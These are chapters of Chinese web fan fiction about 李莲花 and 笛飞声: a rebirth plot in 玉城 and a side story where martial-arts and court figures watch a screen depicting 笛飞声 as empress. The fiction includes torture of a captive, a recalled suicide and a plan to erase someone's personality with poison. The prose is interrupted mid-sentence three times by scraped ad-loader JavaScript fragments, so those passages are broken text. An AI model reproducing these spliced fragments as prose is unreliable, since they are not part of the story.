隔世再收弟子,恩恩怨怨都历历在目。
没了对单孤刀的滤镜,他对方多病某些自来熟的少爷病不太满意。
但这孩子后来成熟稳重、重情重义、深知分寸的模样,又让他乐意去将曾经戏言实现。
反正是李相夷承诺过,而方小宝又确实达到了要求。
56
李莲花闭了闭眼睛,又想到这孩子主动从天机山庄被除名,再从暴怒杀进皇宫的笛飞声掌下救走清儿,之后被追杀到山穷水尽也不后悔。
他自刎在自己坟前,留书换清儿一命之时,离他们三人相识恰好也是十年。
但即使是如此,方多病也不后悔相识为友,更不后悔明知南胤后裔因最后的王嗣被逼身死与金鸳盟联手,对皇帝已有报复反意,还是截断消息来源隐瞒皇城,助了笛飞声一臂之力。
而老笛也终究还是悔了。
因为不肯让那点害死自己的错误血脉有丝毫留存下来,他将以为背叛的方多病追杀十年、逼入绝境时,未曾想他和清儿依旧未曾逾礼。
“先帝逼死了李莲花,我再与公主情投意合,都知道我们没有可能。”血溅出脖颈,染红了遗书:“但清儿是无辜的,你想想女宅吧,阿飞。此生无悔,恳请笛盟主留她一命,方多病敬上。”
57
溜进药魔的园子里,李莲花一边动手采药、抓毒物,一边忍不住看了看方多病还好端端的脖子:“唉。”
“怎么了?”一身锦衣沾泥也不在意,年轻的方多病瞧着布袋里满满的收获,得意掐腰道:“莲花你看,这么多够你用了吧?”
李莲花垂眸点头:“嗯,大好。”
大好头颅啊你个蠢徒,这辈子可再别丢了。
明明对阿飞撒个娇服个软就能解决的事情,你跟我学什么不好,非要学一肩承担不吱一声。
“唉。”三口之家永远的一家之主李莲花为了未来,再次坚定了执行新计划的心。
58
他们洗劫完,正大光明走出了园子。
方多病回房洗漱,李莲花提着满满的布袋去了地牢。
“大人。”值夜的玉城护卫认识他,都恭恭敬敬开了锁,目送他走进最深处的牢房。
那是水牢。
59
前不久,在李莲花的强烈要求下,角丽谯被挑断手筋、脚筋关押于此。
虽然笛飞声很不解他为什么一定要弄个水池,还非要在下面放烧炭,才把角丽谯吊进去。
但只要李莲花开口,笛盟主通通都满足了。
60
“角大美女,别来无恙……”李莲花笑盈盈打招呼:“呃,好吧,你看起来并不无恙。”
角丽谯狠狠瞪着他:“李相
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
夷!看我这么狼狈,你很得意是吧!”
“非也非也。”李莲花含笑摆手,似不经意地回眸瞧了一眼牢门。
明明自己被别人怎么对待都不在意,但他唯独在笛飞声的事情上小气。
见角丽谯炸毛,李莲花更是往前走了几步,近距离欣赏角美人和前世笛飞声被关时一模一样的姿势,几乎乐得要笑出来。
“看来,你手脚上的伤口还没好。”但血腥味令他鼻尖一动,又往后退了退。
角丽谯活生生气乐了:“拜你所赐,温泉活血。”
我只是照葫芦画瓢。
李莲花淡淡看了她一眼,想到前世所见笛飞声的狼狈样子,对这个有点血缘的表妹生不起一点怜惜之情。
61
但此来到底是有正事,他也不打算废话。
“别这样看我,表妹。”李莲花缓缓笑了,手别在身后,指尖似是无意地对准牢外:“我南胤皇族一代代皆同痋虫作伴,血统传承下来,多半是有点不似人的疯狂偏执,你是,我更是。”
角丽谯猛地睁大眼睛,不可置信地看着蹲下来瞧向她的李莲花:“不,这不可……万圣道,封家……”
“找错人的蠢货,不必在意。”李莲花把玩自己的指甲,再不掩饰骨子里某些他曾经想要摒弃的东西。
单孤刀所以为的傲慢就是其中之一,也是李相夷极力克制下仍然外泄的那极少部分。
“总之,我们可是表兄妹呐,角大美女。”但如今的李莲花不欲再忍:“所以,审美一致不是很正常吗?你手下的南胤族人我全要了,你的心上人……”
62
他勾起嘴角,一袭白衣却笑出了光下暗影的森冷感:“那我当然是也笑纳喽!”
“十年前,笛飞声的命就是我李相夷的。你为了让他赢下了碧茶之毒,他还险些死在我手里。”李莲花用最柔和的嗓音说出了最决绝的宣告:“现在嘛,从我传了扬州慢,他这个人就生是我的人、死是我的鬼了。”
无形中的过大压力逼迫而来,溺水般逼得角丽谯呼吸凝滞,只艰难地从牙缝里挤出几个字:“你……休想!”
“碧茶之毒困不住我相夷太剑。”李莲花重新站身,居高临下看着角丽谯:“而摧毁一个人远比世人想的容易,你早就能做到,只是不屑,想用心去换,我也是。可天下第一永远比一介蛊女有优势,不是吗?”
角丽谯目眦欲裂:“李相夷!”
63
“安静,雅正,别太难看了,表妹。”李莲花温柔地说道:“想想我们共同的祖先,含恨忍辱嫁于芳玑太子的萱公主。她被殉葬,死得仍极美,足见心性之坚。”
他不无慨叹道:“唯独看手下的眼神不太好,我可能遗传了她。还好现在总结好了经验教训,可以再重开一局棋。”
角丽谯奇迹般冷静下来:“哈,云彼丘,李相夷,这是我唯一赢过你的地方!哪怕日后你解了毒,你又哪里还能回四顾门?你的心血……”
64
“你手中杀孽太多,合该付出代价了。”她的话被李莲花打断了。
他可不想把自己计划和盘托出,而是说出了对角丽谯的安排:“古南胤圣女终生不可外嫁,就有了逆情蛊。服下之人人格重塑,与此生所爱断情再难相续。”
上辈子,南胤剩下的族人被皇帝斩草除根损失惨重,唯独武功高强的旧部逃出来,与得知皇帝意欲剿灭武林的老笛联手。
再后来,金鸳盟得到不少东西,这就是一本古书里的。
李莲花作为背后灵,跟着笛飞声看了一遍,记得清清楚楚,就把布袋里的药材展露出来。
“药材和毒物我都准备好了,挺适合你的。”他很认真地分析道:“既保留日后堪为涉政公主的智慧,又不在是现在这个罪孽累累的你。”
李莲花不杀角丽谯,并非念在那点血缘,而是决定将她人格抹除重塑:“你说,李相谯这个名字好听吗?”
角丽谯表情空白了一瞬,然后暴怒地扯动锁链:“李相夷!原来你也要复国,不,不仅,你是想为帝…可是…不…别动尊上!不许动尊上!”
“如果你没意见,就叫这个名字吧。”李莲花避而不答,只柔声道:“要是有意见,那就憋着。”
65
他在角丽谯的破口大骂中欣然转身,一步步走出牢狱。
门外,因药园失窃追过来结果听见一堆隐秘的药魔,正跪在门口不敢吭声。
他自然不是不想逃,但隔着墙壁都感受到了森寒剑气直指脖颈。
“药魔,你是聪明人。”李莲花踱步走过药魔身畔,没有停下脚步:“你应该知道,什么能说什么不能说吧?”
药魔的后背已经冷汗直冒,但还是咬牙追了上去:“是,可您要保证不对尊上不利。”
“哼。”李莲花似笑非笑地瞥他一眼,落下的石门隔绝了水牢中夹杂惊忧的怒骂声:“如果让他当皇后叫对他不利,那我可不保证。”
说着,布袋应声落在了药魔怀里:“我现在就把炼制之法写出来给你,此事就交给你了。”
药魔还在迟疑。
“我所知道的南胤毒蛊秘术,默写出来给你一份,足够你研究到地老天荒。”李莲花又道。
药魔痛定思痛,最后道:“您能只立皇后,终身不纳二色,子嗣过继吗?”
“能。”李莲花正好踏出了牢狱。
66
他想,我可不是角丽谯,还想一起娶了。
我只打算当金鸳盟的盟主夫人,也让他当我的笛皇后而已,很专一的。
阳光洒在衣襟上,为轻笑的李莲花镀上一层金色光晕。
“好,有事尽管吩咐。”药魔立刻应了。
5. 【笛花】天生凤命笛飞声
正文相关的观影体番外
10600+一发完(正文5600免费,彩蛋5000糖果解锁)
是笛花不逆,别被剧情误导哈哈哈
友情提示别喝水免喷
观影内容时间线:本文完结十年后
观影人群时间线:金鸳盟、四顾门刚签订和平协议
观影人群:江湖人士(万圣道、师父师母单独房间不能出门)、朝堂中人
——
今日本是晴天,李相夷踩着婆娑步来到梨花林。
梨花正在盛放,他在这一牢前设置了阵法。
“轰隆。”雷声乍起,天色转暗,吓了李相夷一跳:“怎么突然天黑?”
但周围忽起雾气,怪异的环境令他戒备心起,抽出少师剑严阵以待。
“李相夷?”不远处突然有人走出,叫着他的名字,嗓音沉稳,眼神却是亮了起来。
李相夷放下了剑:“笛盟主,你怎么在这?”
“周围没看见别人。”笛飞声环视一周,走得更近了:“我本在房间,忽然换了地方。”
李相夷皱眉,倒也改口唤道:“老笛,能把你我困住,恐怕非人之力。”
“有人来了。”见李相夷陷入思考,笛飞声自然而然接过放哨警戒的任务,很快就发现情况又变。
周遭化为虚无空间,一道道光影循环往复,最后化作一张张由低到高的椅群,一圈圈地围绕着两人,每一把椅子上都坐了人。
“门主!”
“尊上!”
“那是……李门主!”
“可他身边……”
“放肆,你们是何人……”
乱哄哄一片人让两人吃惊,但在情况稳定下来后,他们自要担当武林盟主、魔道魁首的责任,将混乱尽快抹平。
这对于天下第一第二很容易,不容易的是被皇城司围绕保护的皇帝和百官们。
“好了。”他面上没什么不满,摆摆手让适才想质问两人的轩辕萧先冷静一下:“非人力,诸位随朕静观其变吧。”
年幼的公主清儿好奇地望来望去,然后目光停在李相夷和笛飞声身上。
这也正常,在这现场,无人能掩盖天下第一第二的锋芒。
可皇帝看了看李相夷,再看看他身边只有佛彼白石肖乔,没有单孤刀,倒是与笛飞声离得很近,垂眸掩下眼中寒意。
呵,好一个为君分忧的武林盟主!
万圣道捣鼓着让朕选了四顾门背书授权处理江湖恩怨,是因为单孤刀是自己人,表面上是为了匡扶正道、维护江湖治安,实际上是为了将垄断了海上贸易的金鸳盟吞为己用,分食巨大的海洋利益。
结果,任务完不成就算了,四顾门门主李相夷仗着自己是天下第一,与笛飞声私交甚笃,又在江南七大漕帮与金鸳盟的商战里偏帮魔教。
‘你行不行啊,不行就找个理由撤了给四顾门的背书,直接让万圣道去做。’皇帝看了一眼座位有点远、脸色不太好的单孤刀。
万圣道私底下为他说好话,可师兄弟俩的能力似乎相差太大了吧。
“快看!”皇帝的想法还在脑子里转来转去,现场又有变化,只见天上浮动着出现一方极为宽广的幕布,有鲜艳斑斓的色彩流动不休。
所有人都被一股力拉回原位,只能眼睁睁看着幕布上出现几个大字,然后大家鸦雀无声——
《天生凤命笛飞声》
“……什么?”能击败大魔头的正道第一人不愧他天下第一的武功,率先打破了死寂与宁静:“老……咳,笛盟主你未来当皇后了?”
笛飞声深吸了一口气,握刀的手腕上青筋凸起:“李相夷,闭嘴!”
看他真的快要爆发,李相夷难得乖顺地闭了嘴,只一眨不眨盯着爆出惊天大雷的天幕。
可他心头莫名有点不是滋味,又不太明白,倒是无意识收回了想握住身侧乔婉娩素手的手。
皇帝却脸色铁青、惊怒交加。
难道有人篡位?
总不能是清儿当了女帝,聘了天下第二为皇后吧?这岁数差的有点大,除非是金鸳盟最后赢了,让清儿成为傀儡。
“啪。”天幕中出现的是市井之相,惊堂木一响,吸引无数目光:“尔来十余年,四海升平,八方来朝,盛世明君相也!”
话锋一转,天幕中出现了旁的声音,像是在解释。
十年前,熙帝刚愎自用,弃四顾门,信万圣道,遭逼宫谋反,入死境。
幸得几代前被诬陷谋反的芳玑太子与南胤龙萱公主之后、流落江湖已数代的李莲花挺身而出,阻万圣道阴谋,拨乱反正,扫平余患。
绝望之下,万圣道之主、陷害剑神李相夷陨落于东海一战的单孤刀,曝光出极乐塔之密,史称极乐之变。
众人才知,原来百余年前,盈妃与人通奸生子,扶奸生子为太子篡夺皇位,又将男宠封至极乐塔灭口。
此事刻画在极乐塔内,文武百官前去一观,因废帝刚愎自用信任奸人在先,本就无男嗣,连其他假血宗室都子嗣稀少、无能过继,遂联名请李莲花登基。
这一役,金鸳盟援助李莲花,然树大招风,又因新帝登基后有意收回海贸之权集于朝堂,兼盟主笛飞声功力大损,不得不断尾求生。
新帝二月,下重金聘金鸳盟盟主为后。
金鸳盟商讨数日,笛飞声怒闯皇宫,彻夜不回。
第二日,新帝上朝,宣布婚讯。
金鸳盟迫于无奈,交海权与各地造船厂、工匠为陪嫁,以保盟主安全。
“不,这不可能!”皇帝嘶吼的声音打破了所有人八卦的心,只见他一拳砸在椅子扶手上,整个人站起来就要往前冲。
然后,一道雷砸过来,让他倒回了座位上。
笛飞声怔然坐在位子上,已从天幕中提取出了几个信息——
一,金鸳盟在这场政变中插手了,扶持的是李莲花,但被反客为主、过河拆桥了。
二,李莲花,或者说他所控制的武力很强,不然不可能拿下怒极闯宫的自己,但他好男色,自己怕是清白不保还连累了金鸳盟。
三,也是笛飞声最在意的一条,李相夷竟是被师兄单孤刀陷害,以至于英年早逝。
“老笛。”
“李相夷。”
他们彼此唤道,这过于默契的呼唤让彼此都愣了一下。
“你小心单孤刀。”
“……我知道了。”
李相夷看了看单孤刀,他脸色大变已然证明了某些事怕是确有其事。
不过,佛彼白石肖乔都在瞪他,要不是离不开椅子,恐怕已冲过去了。
“我不会早死的。”李相夷顾不得去伤心师兄的背叛,反倒是笛飞声未来遭遇的折辱完全牵动了他的心。
年轻的剑神盯着只比自己大几岁的魔道之首,认真说道:“我活着,就不会让你……”
他看了看天幕,那双含着剑意的寒眸瞪过四周所有窃窃私语的人。
在武林盟主的威慑下,人群陡然安静了下来。
就连朝堂方向的百官,都识相地闭上了嘴。
“我绝不会,让你被人过河拆桥还强取豪夺的。”天下第一李相夷,对魔教盟主慷慨地给出了承诺。
他眼中甚至有了杀意,对敢抢婚老笛的李莲花。
但若李相夷再仔细看看,就会发现他的表情和角丽谯十分同步。
这位还没自封金鸳盟圣女,位列十二凤之下的蛇蝎美人正在心里破口大骂:‘到底是哪个登徒子?萱公主之后?就算是我不知道沦落到哪里去了的表哥,也没资格这么折辱尊上,我一定要把他找出来杀了!’
却见天幕之中,新的画面缓缓展开了。
金碧辉煌的皇宫中,一道身影快步走入殿内。
“是我?”非常年轻的杨昀春对那套皇城司都知的官服吃了一惊,还没来得及高兴自己继承了师父的位置,就后知后觉犹豫要不要对现在还在位的皇帝请罪。
轩辕萧更是为徒儿捏了一把冷汗,还在椅子上坐着,就对脸色难看的皇帝行礼:“陛下……”
不过,他们俩很快就都不用再挣扎了。
“参见陛下。”只见未来的杨昀春隔着一道帘子,行了一礼:“皇后……笛盟主叒跑了,属下没能追上。”
这下好了,杨昀春瞬间就迎来天下第一第二的死亡凝视。
李相夷还好,虽然满眼写着‘你居然助纣为虐’,但好歹没有拔剑。
可笛飞声只是淡淡看了过来,手起刀落。
“咚。”光晕在刀光下剧烈晃动了一下,杨昀春额头的冷汗溢了出来。
幸好帘子后传来了温软的嗓音,一点都听不出是个实权的、狡猾多谋的明君:“逃了?”
“果然不出所料。”帘子晃了晃,声音里带起笑:“只不过,他昨夜彻夜不眠,身子应有些虚弱。你居然跟丢了,也是最近轻功没进步吧。”
彻夜不眠?虚弱?!李相夷脸色沉了下去,本能握住笛飞声猛然攥紧刀柄的手,轻轻摩擦着拧紧的经络,似是安慰。
“是,让陛下失望了。”杨昀春垂下眸:“敢问陛下,昨夜做了什么?”
听见的人都心神一紧。
只不过,金鸳盟是主辱臣死却被迫冷静的暴怒,包括四顾门在内其他江湖中人则是看热闹的看热闹,幸灾乐祸的幸灾乐祸。
但所有活动空间都被限制,每个人只能在自己椅子的范围内行动自如,去不了别人面前。
是以,就算金鸳盟人摩拳擦掌,也最多只能砸响前后左右座椅的靠背,又或是站起来往前走两步、跪地怒捶,权作暂时性的情绪缓解。
结果,让人大跌眼镜的是,皇帝理所当然道:“下厨试做新菜啊。”
“……啊?”李相夷又松开了握着笛飞声手的手:“这什么意思?不是说君子远庖厨吗?哦,反正这小皇帝的厨艺肯定很差劲!”
笛飞声拧起眉头,没有吭声,但总算没试图继续砍死杨昀春。
“原来如此。”杨昀春却似是司空见惯了:“皇后留下了一张字条。”
他从袖中取出,展开了交给皇帝。
天幕似乎挺恶趣味,专门将字体放大,令每个人都能瞧见笛盟主飒爽霸道的字风——
谢邀,不必,方小宝我也带走了,你换一波人祸害吧!
“好吧,腹泻了一夜,也难为他刚恢复点力气就溜。”皇帝叹了口气:“不过应该很快就会回来了,你去告诉药魔,让他熬点胃药备着。”
杨昀春木着脸,点了点头。
“尊上!”药魔瞬间得到了空前关注,吓得跪倒在地:“属下绝不可能背叛,肯定是做您陪嫁才……”
笛飞声厉声打断了他:“闭嘴!”
“笛盟主……”李相夷托腮,幽幽道:“从你这个留字和皇帝的口气来看,你可不像是迫嫁啊。”
笛飞声哽住了。
李相夷却满怀自己都辨不清道不明的酸涩感,压低了声音道:“甚至,你的味觉恢复了。”
“这不是普通财力物力人力能解决的,皇帝用心之深,对你怕是情根深种。”看着挑战自己无数次惜败的、唯一认可的对手,剑神的语气更加幽深:“可见笛大盟主魅力不凡,嗯?”
笛飞声安静如鸡。
他也不知道现在为什么不辩驳,但对于危险的本能告知他,不闭嘴一定会有灾难降临。
这种预感,在被笛家堡追杀的那段时间救过笛飞声无数次。
可他是第一次在李相夷身上感知到这等危险,就连第一次战败,以为会死在少师剑下时,都没有发生过。
好在镜头又转,新地点是四顾门,可算及时引走了李相夷隐忍着怒意的瞳眸。
“怎么会?”大家大吃一惊。
虽知晓剑
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
神李相夷陨落,但整个江湖都没想到,门主之位上坐着的竟是佛彼白石之末,石水。
她正奋笔疾书地处理公务,桌面上摆放整整齐齐。
“不错。”李相夷认真看了一会儿,尽力从之前的思绪里抽出自己,大大方方赞道:“很有条理,进步很大啊。”
石水的脸上泛了些许红,也就无视了佛彼白不自然的表情:“谢门主夸奖。”
“咚咚。”敲门声响起,小弟子传来了宫中皇后落跑的消息,语气里全是笑。
笛飞声:“……”
想刀了四顾门,但不敢当李相夷的面。
“这个月第几次了?”唯有石水还端着,或者说她根本没有时间抬头。
小弟子算了算,肯定地回答道:“第三次,每周都有。”
“多半又出来聘名厨了,转金鸳盟无颜,让他们自己找他们盟主去。”石水语气淡淡:“顺便告诉昀春,这些有的没的别送消息过来,我都忙得没时间回府了。”
小弟子忍俊不禁:“您也说了嘛,您没时间回去,杨大人怕是惦念着,才专门送消息,想逗您开怀一笑。”
“啊?”这言下之意过于明显,现在的年轻石水、杨昀春尴尬对望。
成为小夫妻情趣一环的笛飞声:忍住,这是李相夷的属下,不能当他面都杀了。
不过,现场到底响起了细细碎碎的笑声,有嘲讽的,也有善意的。
闹得李相夷脸色更冷了,恼火地再也不想看笛飞声。
这时,画面再转,直接给皇后来了个特大关注,正是理应更成熟的笛飞声。
但他差不多三十岁而立之年的模样,和现在居然没什么区别,气色也相当好,可见平日里很是舒心。
“就杨昀春?他没派人出来追?”笛飞声自言自语,停在街头回望。
大家都注意到,他的视线所及恰好是皇宫方向。
‘盟主还是尊上,尊上就是皇后,尊上真的嫁人了。’金鸳盟众悬着的心终于死了。
而四顾门已经顾不得石水未来是门主,全部都在笑。
“哈哈哈哈。”整个武林都在爆笑。
直到笛飞声忍无可忍拔刀,疯狂攻击光圈。
眼看光晕摇摇欲坠,金鸳盟严阵以待,很有大开杀戒的模样,李相夷为了阻止他们杀光所有人灭口,不得不拔剑相向:“够了!”
“你冷静点。”可剑神的心情算不上好,话语就更不中听了:“别恼羞成怒了,老笛。我看你这样子还挺愿意嫁的,站那儿不动是等皇帝出宫哄你吗?!”
笛飞声气得手都在发抖:“李相夷!”
可他一个不小心,已输了一招。
少师剑瞬间架上笛飞声的脖颈,李相夷将他牢牢桎梏在了光壁上。
“其实,笛盟主这般容彩,又何必混迹江湖、刀口舔血呢?”有某个姓东方名皓的人落井下石:“做皇后一人之下万人之上,只伺候一人而已,不也挺好。”
李相夷眸色一寒,目光扫向出声之地:“你说什么?!”
东方皓被那杀意凛然的瞪视冻得一抖,缩着头避开了剑神的视线。
“唰啦。”可光屏又转,放出了皇宫宴请各国来宾的景致,大有天朝上国的样子,自是明君盛世。
李相夷抿了抿唇。
他从自己最本能的反应里,隐约意识到了点什么,视线扫过已经安静了好一会儿的师兄单孤刀,凝聚在了一脸担心看向自己的乔婉娩身上。
师兄一脸郁恨无所谓,如果所猜无误,他们之间已没有什么兄弟情谊。
可是,阿娩怎么办?光幕上没提到她,他若死了,他若和她分手,她会很难过很难过吧?
“有刺客!”这一出神,再回眸已是满屏惊呼了。
轩辕萧和杨昀春更是骂道:“他们在做什么?!”
原来,镜头里守在殿内的皇城司不但不慌,还集体打了个哈欠。
“这算什么?”年轻气盛的杨昀春忍无可忍:“就算笛盟主当了皇后,这场合让皇后出手,他们俸禄拿的就不烫手吗?!”
笛飞声第二次看向了他,眼中有着杀意。
杨昀春瞬间闭嘴。
“不是,我们在干什么啊?”观影现场的皇城司却顾忌不到他,通通焦急如热锅上的蚂蚁:“笛盟主好像不在?这剑都快要刺中帘子后的皇帝了啊!”
但是很快,大家就都安静了。
“叮铃铃。”只听光幕里荡起清音,竟是剑意化形。
这等境界,饶是李相夷、笛飞声都满肚子火气,也皆被吸引了注意力。
李相夷好奇地看过去,笛飞声咬牙切齿地看过去。
只见剑光飒沓如星落成雨,伤口小而深,将刺客手筋脚筋尽数挑断而倒地难起。
“好剑法!”笛飞声、李相夷等多位武林数得出名头的高手大为赞叹。
然后,他们一起当场哽了个半死——
“啪嗒。”帘子陡然掀开,走出了穿着龙袍的、和李相夷很像的男子。
这李莲花同样看着不过而立,酷似李相夷只是稍显温润的清俊面庞上,是和如今的李相夷如出一辙的意气风发,令他气质成熟但更显年轻。
“不上万人册,只因朕已执天子剑。”剑意所化的星光几乎在他眸中闪耀,那嘴角上扬,露出最灿烂夺目的笑意:“但问天下第一是谁……”
这极富有魅力的皇帝哑然哼笑:“呵。”
剑光再闪,从星光洒落化为大江东去,一剑穿喉。
血迸溅在壁阶上,少许染红了珠帘。
“诸位受惊了,且坐。”明君淡定自若坐回皇位,一把揽住身边面无表情的皇后那劲瘦的腰,另一只手随意拆下了脏掉的帘幔:“接着奏乐接着舞。”
笛飞声仍然不吭声,只是盯向自己脖子上横着的剑。
和穿透刺客喉管的一模一样,正是李相夷的少师剑。
6. 【笛花】重生玉城时5
67
李莲花回到房间时,笛飞声已经醒了。
“你去看角丽谯了?”他这么说着的时候,正把熬好的药倒出来。
刚好,和上辈子药魔给李莲花喝的百药神露一样是三碗。
就是苦味弥散地到处都是,险些把李莲花熏得当场逃出去。
68
其实,他也确实这么做了。
奈何被笛飞声一把拎住后领,毫不客气地拖了回来:“你想跑?”
“喂,笛盟主,不必吧……”知晓忘川花有三成几率,李莲花有信心赌赢,自然不想额外喝这些苦不拉几、治标不治本的药汤。
即使这是玉城宝库里拿出来的珍品,算得上珍贵异常了。
不过,他还是下意识望向桌子,上面很意外地放了一个油纸包。
69
“哼。”笛飞声把油纸打开,将桂花糕往药汤前一推:“喝过药再吃。”
但李莲花不听话地伸手去拿时,他也没有阻止,只放任这人露齿一笑,洁白整齐的齿列切开糕点,将香气弥漫在唇间。
笛飞声有点不自然地移开视线,仍然不吭声。
“老味道了。”李莲花忽然道:“但……阿娩如今可用不上我去排队。”
70
笛飞声这才回头,定定看着他。
突然,笛飞声端起一碗,快如闪电地扣住李莲花纤细的下颚:“喝!”
“咕咚咕咚。”李莲花顺从他的桎梏,仰头露出白皙修长的脖颈,将药液慢慢饮下去。
71
似是被药汤烫到,李莲花整个玉颈很快就见汗晕红。
他的喉珠更是无措难耐地滑动着,正艰难地往下吞咽。
“啪。”可笛飞声像是也被烫到了,闪电般松开了手。
但他适才掐着的那一块儿,已浮现比白里透红的肌肤更艳的朱色,是极为清晰的指印。
“……”笛飞声垂下无端变得幽深的眸子,又捻起一块桂花糕塞过去,涩声道:“吃还堵不住你的嘴吗?要是还惦记着,就抢回来!”
李莲花忍俊不禁地飞快看了他一眼,在他抬眸前吞咽掉。
72
灵巧的舌尖似是不经意地触上笛飞声滚烫的指尖,李莲花却换回了平静的表情:“不必,阿娩早在你我决战前一个月就给我写了分手信。”
“竟有此事?”笛飞声把轻颤的指扣往手心,整只手都背在了身后:“难怪那个女人这十年和你那个姓肖的‘兄弟’形影不离。”
他偏头看着李相夷,发现这人的神情倒是非常祥和,一点都没有被撬墙角的恼怒。
想来也是,十年了,想必李相夷早就知晓也看开了?
笛飞声如此想着,没发觉自己跟着心平气和下来,不再一想到李相夷有可能和乔婉娩旧情难忘就心生烦躁。
“我有更重要的事情要做,也并不想把旧人牵扯进来。”李莲花实话实说。
73
万圣道乃南胤势力,扎根大熙上百年之久,是因尊奉单孤刀为主,才会出现破绽。
他们平日里隐藏极深、表现极好,是以哪怕造反失败,都保留了部分没暴露的势力。
奈何南胤路途遥远,保留性命没被牵连的那些人又武功不高,待皇帝派人去族地斩草除根、屠杀族人时,探听到此条谕令的消息才迟到了。
74
李莲花闭了闭眼,仿佛又回到前一世。
他随着笛飞声,带着投奔的几个万圣道旧部和逃出的少数练武的南胤族人,回到自己本该出生的地方。
毒蛊蛇虫付之一炬,尸骨到处都是,雷火硝烟还在燃烧,人间地狱。
是了,石村的情况意味着部分南胤人真的该死。
但逃不出去的、只是普通人的老弱病残幼,何其无辜?
75
笛飞声默不作声,却是抬指,抚闭了近处一个孩童死不瞑目的眼睛。
“他死了,但责任未死。”他继续往前走,忽然脱下外衣,盖在脚下赤裸的异族美人尸体上:“他该做的事情,本尊代他做!”
金鸳盟盟主的视线扫向跪着泣不成声的南胤人,环视一周后拂袖而去:“可你们要记好,你们最后的王嗣生是本尊的人,死是本尊的鬼,葬也得和本尊同穴,而不是按你们的风俗。”
作为阿飘的李莲花彼时哭笑不得。
看来,前不久还没出事的时候,南胤人三番五次潜入金鸳盟总部,试图带走笛飞声搜遍东海乃至天下才寻到的自己尸体,真惹怒了他。
76
“你不想连累他们?”笛飞声的话打断了李莲花对前世的回忆。
他长眉抬起,眼中是理所当然的意味:“叛主者该杀,忠诚者再用,为何隐忍不发?”
“……”李莲花扶额长叹,还是说不清楚啊。
作为四顾门乃至正道的曾经魁首,他确实不太想亲自开口承认,没有自己的属下们全顶上去,会既没多少脑子,又没多少武力,平时断个案还好,牵涉到这等颠覆天下的事情里,是真的很可能翻船的。
想想上一世,到底还是自己、笛飞声带着刚入江湖一身热血未灭的方多病,解决了大部分问题。
77
不过,某些案子还是要走,该救的人要救,该死的人也最好放任去死。
“这不重要,重要的是我需要观音垂泪。”李莲花决定先引开笛飞声的注意力:“你想要的话,可以兑水一人一半。”
笛飞声直接道:“不必,有你扬州慢相助,我已渐渐好全。观音垂泪,你想要,我便陪你一遭。”
“那就多谢笛大盟主啦。”李莲花笑着拍了拍他的肩膀,整个人毫无顾忌地倚靠过去。
笛飞声愣了愣:“怎么了?”
“头晕想吐。”李莲花顺其自然地合眼:“那药太难喝了,好在桂花糕好吃。”
78
笛飞声本想搭上他的肩膀,但心头一颤便往下一滑,等反应过来已经搂住了这人的腰。
好细。
他不自觉想起十多年前江山笑那晚,飘扬的红绸,张扬的剑舞,神采飞扬的少年人。
如今却面色发白,气虚体弱,不能擅动内力。
那换成十年前,定会把人粗暴揽起仍在床上的手掌不自觉缩紧,掴住腰身的动作却是很缓,把人抱起来轻轻放进被窝。
“那你再休息休息,我让厨房多做些甜食。”笛飞声问道:“桂花糕还吃吗?”
李莲花摇了摇头:“不了,休息一下就行。取观音垂泪很容易,离得也近,今日去了就能拿到。”
“这才是你原本来玉城的目的吧。”笛飞声以为他猜中了。
李莲花笑而不语。
79
“师父!”外面忽然传来熙熙攘攘的吵闹声。
笛飞声眉头一皱:“你为什么收这么个……聒噪的徒弟?”
“十年前他在轮椅上,我鼓励他说站得起来、练得了剑就收他为徒。”李莲花可不想再重现上辈子他俩一见面就炸的旧事:“你现在看,瞧得出他以前体弱吗?”
笛飞声若有所思:“我信你眼光,看来是个好苗子。”
“嗯,你去取观音垂泪,带他去就行。”李莲花闭上眼睛:“你总该相信天机山庄在机关上的本事,地点就在朴锄山一品坟。”
80
有些事情他不好说,笛飞声说起来就毫无顾忌了,譬如云彼丘下毒,再比如四顾门解散。
正好,也给这天真的小子提前上一课。
“好。”笛飞声答应了下来,竟也没问李相夷是怎么知道的。
81
李莲花看着他的背影,眼见那手正欲推门,忽然唤道:“等等……”
“怎么?”笛飞声回过头:“怕我打你徒弟?”
李莲花哭笑不得:“不,但请你笛大盟主高抬贵手,别毁机关和墓门,取了观音垂泪就走,再帮我把坟封死。”
“啊,还有点冒昧…”他停顿了一瞬,见笛飞声听得认真,忽然又笑:“要是方便的话,帮我给芳玑太子、萱公主磕几个头。”
嗯,磕三个头,你就过门嫁我了。
82
“李相夷!”笛飞声气极反笑。
外面已经传来打斗声,显然无颜和方多病交上手了。
“敢让本尊下跪,你胆子是真的很大!”不等李莲花再舌灿莲花,便有一只手掐住他的脖颈,正是笛飞声闪身而至,弯腰压低了身。
被迫仰头的李莲花轻喘了一声:“咳咳……不行吗……那可是上百年前的人……到底是长辈……磕个头你又不吃亏……”
“观音垂泪用在你身上,你让我代你磕头?”笛飞声气笑了,一句话不假思索就脱口而出:“那你是我的谁呢?”
看着笛飞声一脸的恼意,可眸中是他自己都读不懂的、对于这个问题的困惑,李莲花想笑,也真的笑喷了:“噗。”
“你!”笛飞声忍不住加重手头的力道,但见李莲花蓦地蹙眉,又下意识放松力劲。
83
正在此刻,门口一声响动,门被开了:“师父,我婆娑步练成功了,刚把无颜护卫绕晕了!”
方多病兴高采烈的进来了,然后目瞪口呆楞在门口:“你……你们……”
满心懊恼的无颜迟了一步,也在他身后见证了这意义重大的一幕,很识相地没有第一时间开口请罪。
84
笛飞声后知后觉地意识到,他正掐着李相夷的脖颈,压在李相夷身上,唇对准了李相夷的唇。
“反正不行!”耳根瞬间染红,笛飞声不自在地甩开手,强行冷着脸:“没的商量,本尊不磕,你要磕让你徒弟代
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
你磕去。”
85
我想偷个懒怎么这么难?一刻钟后,被并不想磕头的笛飞声、方多病一起拖起来,李莲花坐在热乎乎的药膳前,怀疑人生。
但出神不耽误他一脸嫌弃,想要离这碗据说能温养经脉、调理身体的药更远一点:“我能不能不喝?”
“不能。”药魔心疼地看着药材,却还是驳回了。
李莲花无奈地摇了摇头,端起来一饮而尽。
86
然后,他就看见,方多病、笛飞声齐齐从怀里掏出了甜点。
